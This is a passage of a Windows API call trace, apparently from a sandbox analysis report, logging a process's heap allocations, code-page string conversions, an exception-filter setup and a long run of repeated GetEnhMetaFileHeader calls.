0xd65378 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x3c) returned 0xd653d8 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x82) returned 0xd65420 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2e) returned 0xd654b0 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x1e) returned 0xd63a70 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2c) returned 0xd654e8 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x54) returned 0xd65520 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x52) returned 0xd65580 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2a) returned 0xd655e0 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x3c) returned 0xd66120 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x54) returned 0xd67108 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x24) returned 0xd67168 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x30) returned 0xd67198 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8c) returned 0xd671d0 [0043.041] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0xd65630 | out: hHeap=0xd50000) returned 1 [0043.042] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd65618 [0043.042] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0043.042] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x800) returned 0xd656a0 [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] GetACP () returned 0x4e4 [0043.042] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x220) returned 0xd65ea8 [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] IsValidCodePage (CodePage=0x4e4) returned 1 [0043.042] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0043.042] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0043.042] GetLastError () returned 0x0 [0043.043] SetLastError (dwErrCode=0x0) [0043.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0043.043] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0043.043] GetLastError () returned 0x0 [0043.043] SetLastError (dwErrCode=0x0) [0043.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0043.043] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0043.043] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0043.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x11\x51\xe3\xf7\xe4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0043.043] GetLastError () returned 0x0 [0043.043] SetLastError (dwErrCode=0x0) [0043.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0043.043] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0043.043] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0043.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x11\x51\xe3\xf7\xe4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0043.043] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4091c1) returned 0x0 [0043.044] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xd65618) returned 0x80 [0043.044] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xd65618) returned 0x80 [0043.044] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xd65618) returned 0x80 [0043.044] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xd65618) returned 0x80 [0043.044] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader 